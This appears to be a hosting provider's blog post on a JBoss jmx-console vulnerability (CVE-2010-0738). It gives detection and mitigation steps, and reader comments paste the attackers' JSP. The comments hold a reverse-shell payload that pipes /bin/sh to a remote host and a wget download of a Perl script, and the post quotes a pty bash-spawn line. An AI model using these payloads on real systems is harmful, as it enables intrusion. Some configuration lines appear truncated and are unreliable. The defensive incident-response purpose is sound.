Jboss Exploits

There is a JBoss exploit out in the wild.  See http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-0738 and https://access.redhat.com/kb/docs/DOC-30741 for details.

A common attach is to use the exploit to install a file that then permits a python file to launch and run.

e.g. you may see python running on your server when you are not expecting it.

top - 16:23:27 up 10 days,  7:06,  1 user,  load average: 1.00, 1.05, 1.07
Tasks:  66 total,   3 running,  63 sleeping,   0 stopped,   0 zombie
Cpu(s): 20.3%us, 13.0%sy,  0.0%ni, 66.2%id,  0.0%wa,  0.0%hi,  0.0%si,  0.4%st
Mem:   2048416k total,  2033204k used,    15212k free,   137864k buffers
Swap:   131064k total,    21164k used,   109900k free,  1334712k cached

26051 jboss     20   0 76308 2824 1428 R 100.0  0.1 124:20.74 python
    1 root      20   0 10356  344  312 S  0.0  0.0   0:01.85 init
    2 root      15  -5     0    0    0 S  0.0  0.0   0:00.00 kthreadd

ps shows the following

root@hostname ~]# ps aux |egrep 'python|jboss'
jboss    26051 99.3  0.1  76308  2824 ?        R    14:18 124:44 python a.py

The contents of a.py is

import pty; pty.spawn('/bin/bash')

We will be following up to see what fixes there are if any, and versions affected etc.

Most of the automated scanners target the open port 8080. And require that jmx-console.war be deployed.

If you are running boss now may be a good time to bind JBoss to the localhost IP address (vs. the public IP address). This wont remove the vulnerability, but is a nice way to reduce the exposure of your jboss server to targeted attacks. And allows you to take advantage of the apache logging facilities.

To do this edit /usr/local/jboss/bin/run.conf and look for the line that starts with JBOSS_OPTIONS= on it. And ensure that looks something like JBOSS_OPTIONS="-b" (and ensure there is not a line like: JBOSS_OPTIONS="-b"). After this change you will need to access your JBoss apps via apache.  See http://rimuhosting.com/mod_jk2_and_mod_proxy_ajp.jsp or pop in a sysadmin work ticket with your apps details and we can help with that.

Some commands to run to see if you are already exploited:

ps auxf | egrep 'jboss|java'

And look for 'odd process' e.g. not java.  e.g. ./2.6 or new.pl or some process not running with jboss as the parent.

Run this to find recently modified files:

find /usr/local/jboss/ -mtime -10 | grep -v tmp | grep -v '/log' | grep -v '/work'

Look for files like new.pl or 'random' war file names.
e.g. /usr/local/jboss/server/default/deploy/xn16epce.war

Delete the files if they are exploits.

To disable jmx-console try:

jmxdirs=$(find /usr/local/jboss/server/ -maxdepth 3 -type d -name jmx-console.war); for jmx in $jmxdirs;
do newdir=$(echo $jmx | sed 's/\//_/g'); echo
"moving $jmx to $newdir";
mv $jmx $newdir;
/etc/init.d/jboss restart
This entry was posted in Security and tagged , , , . Bookmark the permalink.

3 Responses to Jboss Exploits

  1. Peter Bryant says:

    The exploit was used to create a webapp with a random name with this little snippet of jsp:
    < %@ page import="java.lang.*, java.util.*, java.io.*, java.net.*" %>
    < %! static class StreamConnector extends Thread { InputStream is; OutputStream os; StreamConnector( InputStream is, OutputStream os ) { this.is = is; this.os = os; } public void run() { BufferedReader in = null; BufferedWriter out = null; try { in = new BufferedReader( new InputStreamReader( this.is ) ); out = new BufferedWriter( new OutputStreamWriter( this.os ) ); char buffer[] = new char[8192]; int length; while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
    out.write( buffer, 0, length );
    } catch( Exception e ){}
    if( in != null )
    if( out != null )
    } catch( Exception e ){}
    < % try { Socket socket = new Socket( "chineiphere", 80 ); Process process = Runtime.getRuntime().exec( "/bin/sh" ); ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); } catch( Exception e ) {} %>

  2. Peter Bryant says:

    < %@ page import="java.lang.*, java.util.*, java.io.*, java.net.*" %>
    < % try { Process child = Runtime.getRuntime().exec( "wget http://remoteserverip/new.pl" );
    catch (IOException e)

  3. Glenn Enright says:

    Updated the post to clarify that binding jboss to localhost does not remove the vulnerability by itself (thanks Yves).